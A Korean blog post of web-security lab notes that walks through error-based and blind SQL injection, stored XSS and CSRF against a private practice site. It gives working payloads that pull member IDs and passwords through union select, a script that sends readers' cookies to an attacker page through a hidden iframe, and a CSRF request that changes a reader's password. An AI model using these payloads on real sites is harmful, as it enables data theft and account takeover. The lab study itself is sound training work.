2016. 1. 26. 09:01 :: 웹 보안

1. Error가 막혀있지 않고 SQL 입력가능한 환경에서 SQL injection

가. 크롬 브라우저 이용

나. having, Group by 이용
다. ID 부분에 다음의 내용 입력

  ' having 1=1--
  ' group by idx--
  ' group by idx,level_idx--

 

라. having 은 group by 와 같이 나와야하는데 지금은 having 만 사용하여 에러처리가 되어있는지 확인하고, 그 에러를 야기시켜서 DB를 가져올수 있다. 

- ID : ' having 1=1--     입력 -> 아래와 같은 에러를 보여주는데 그 내용에 DB 내용을 볼 수 있다.

-> member.m_idx

 

- ID : ' group by m_idx--    입력 

-> member.m_id

 

-  ID : ' group by m_idx,m_id--    입력 

-> member.m_name

 

- ID : ' group by m_idx,m_id,m_name--    입력

-> 더이상 에러가 나오지 않는다.

-> 필드는 3개 라는것을 확인 가능하다.

 

마. 로그인후 chapter1 게시판의 정보 확인

- 위와 같은 방법으로 하나씩 알아낼 수 있다.

- 테이블 명 : chapter1

- 필드개수 : 7

- 필드명 : chapter1.idx, chapter1.ref_idx, chapter1.level_idx, chapter1.title, chapter1.name, chapter1.wtday, chapter1.hitcnt

 

바. 왜 위험한가?

1) union select 절

- 조건

① 열의 개수가 같아야 한다.

② 호환되는 데이터 형식을 가져야 한다.

③ 두개 이상의 테이블

- ' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from member-- 

-> 데이터 유형이 잘못됨을 나타낸다.

-> 어딘가 숫자를 요구하는 필드가 있다는 것을 의미

 

- ' union select 0,NULL,NULL,NULL,NULL,NULL,NULL from member--

- ' union select NULL,0,NULL,NULL,NULL,NULL,NULL from member--

-> .... 이런식으로 각 필드에 0을 넣어본다.

-> error 가 나오지 않는다.

 

- ' union select NULL,0,NULL,m_id,m_name,NULL,NULL from member--

- ' union select NULL,0,NULL,m_id,m_pwd,NULL,NULL from member-- 

-> m_id, m_pwd 정보를 찾을 수 있다. (m_id는 위에서 찾은 필드명이고, m_pwd는 유추하여 입력한 것이다.)

-> 이런식으로 원하는 필드를 찾을 수 있다.

 

- 현재는 에러 페이지 처리와 입력 값에 sql query 입력이 되는 두가지 문제로 인하여 위와 같은 공격이 된다.

- 보안 대책

가) 개발자가 sql 입력을 예외처리 해준다.

나) 에러 페이지를 처리해주어야 한다.

 

2. Error가 막혀있고 SQL 입력가능한 환경에서 SQL injection(Blind SQL injection)

가. 이것은 어떻게 아는가?

' and 1=1--        ->    상황에 따라 참, 거짓

' and 1=2--        ->    무조건 거짓

-> 논리적인 내용을 보내본다.

sql_6

sql_7

- 결과가 다르게 나오는데 원래는 해당 문자열이 들어간 내용을 찾아주어야하는데 아니다.

- 해당 검색 문자열이 무언가 결과에 영향을 준다는 의미

 

나. 논리적인 처리로 접근해본다.

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

->     |  여기부터 입력하면 된다.

-> db_name() : 현재 사용중인 테이블을 의미하는 함수

-> substring : 문자열 받아온다.

-> 1,1 : 첫번째 문자열에 첫번째 글자를 지칭 (1,2 : 두번째 글자

-> 그 글자가 107 이라는 숫자보다 큰지 확인한다.

-> 위 2줄의 sql 쿼리문을 넣어서 107이 참이고, 108이 거짓이면 해당 글자는 108 (소문자 L) 임을 알수 있다.

-> 이런식으로 한글자씩 찾는 방법이다.

 

다. 해당 공격이 가능한 페이지 찾는 방법

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=1--

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=2--

-> url 맨뒤에 필요없는 필드는 지우고 논리적인 쿼리를 입력해본다.

-> url 을 입력해서 결과를 비교해본다.

-> 1=1 은 그대로 유지되고, 1=2는 삭제된 게시물이라고 나온다.

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=1--

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=2--

-> 여기 페이지에는 블라인드 공격이 되지 않는다.

 

라. 공격

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

-> 처리된다. (오류창 발생 안함)

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

-> 삭제된 게시물이라고 나온다.

-> 첫번째 글자는 108 (소문자 L) 이 된다.

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,2)),0) > 97--

-> 두번째 글자를 아스키코드 97(소문자 a) 부터 찾는다.

- 이런식으로 DB 의 정보를 가져온다.

 

마. 인증이 필요한 웹서버 같은경우

- 로그인해서 쿠키값을 가져와서 넣어서 같이 보내는 것처럼 응용 가능

 

3. XSS(Cross Side Scripting)

가. server side 작성된 글에 client side script 를 이용한 공격 코드 작성

- 작성된 코드는 텍스트로만 쓰여서 보여야한다.

- 그런데 브라우저를 통하여 client 가 글을 읽을 때 공격코드가 실행된다.

- 필터링을 하여 해당 코드가 실행되지 않도록 해야한다.

- 웹 브라우징에서 가용성이 극대화 되면서 예외처리 부분이 되지않아 해당 공격가능

- 브라우징에서 많은 기능들이 사용된다.

 

나. 게시판에 글을 읽으면 쿠키정보를 가져오는 공격

1) <script>alert('test');</script>    ->    알림창 발생

2) DOM XSS

<script>document.write(document.cookie)</script>

가) 공격코드

<script>document.write("<iframe src='http://192.168.1.135/XSSAttack/Attack_Request.asp?cookie="+document.cookie+"' width=0 height=0></iframe>")</script>

-> document.cookie를 이용하여 글을 보고있는 사람의 쿠키를 해당 파일로 보내는 코드

나) 확인

http://192.168.1.135/XSSAttack/Attack_cookie.txt

다) 공격 페이지

http://192.168.1.135/XSSAttacker/Attacker_Requset.asp?cookie=aaa

-> aaa 라는 쿠키값을 보내게 된다.

라) 탈취한 쿠키를 적용시키면 해당 사용자로 인증접속 할 수 있다.

- EDIT COOKIE 부분에 탈취한 쿠키로 변경 후 SET 하면 인증접속 가능

 

4. CSRF (Cross-Site Request Forgery)

가. XSS 와 공격 원인은 같다.(예외처리가 되어있지 않다.)

나. 사실상 난독화등이 되어있어서 웹방화벽 등에서 예외처리, 필터링하기 힘들다.

다. 차이점 : 글을 읽는 사용자의 권한으로 재요청을 하게될 URL, 사이트 등과 같이 별도의 타겟이 있다.

- XSS는 글을 읽는 사람이 공격을 당하지만, CSRF은 글을 읽는 사람의 권한으로 별도의 타겟을 공격하는 것

라. 공격

1) 로그인 후 [정보수정] 버튼 눌러서 소스보기를 한다.

cs_1

- action : /member/mem_modify_ok.asp

- method : post(get 방식으로 전송됨을 확인했었음)

- pwd, name, email 변수 확인

2) 정보를 확인했으니 공격 코드를 작성한다.

http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=해킹했다&email=해킹@a.com

- get 방식으로도 동작하기 때문에 get 방식으로 작성

- action정보를 넣어주고 ? 뒤에 넘길 값을 작성해준다.

3) XSS 에서 했던 DOM 방식으로 작성한다.

<script>document.write("<iframe src='http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=너해킹됐어&email=해킹@a.com' width=0 height=0></iframe>")</script>

- 이 스크립트로 XSS에서 했듯이 게시물을 작성하면 글을 읽는 사용자의 권한으로 자동으로 실행되어 정보가 바뀐다.(pwd 1111)

마. 공격 가능 여부

1) 회원정보 수정 창에서 본인이 맞는지 인증을 하고 수정시켜야하는데 그렇지 않기 때문에 이 공격이 가능

 

posted by Red_Seek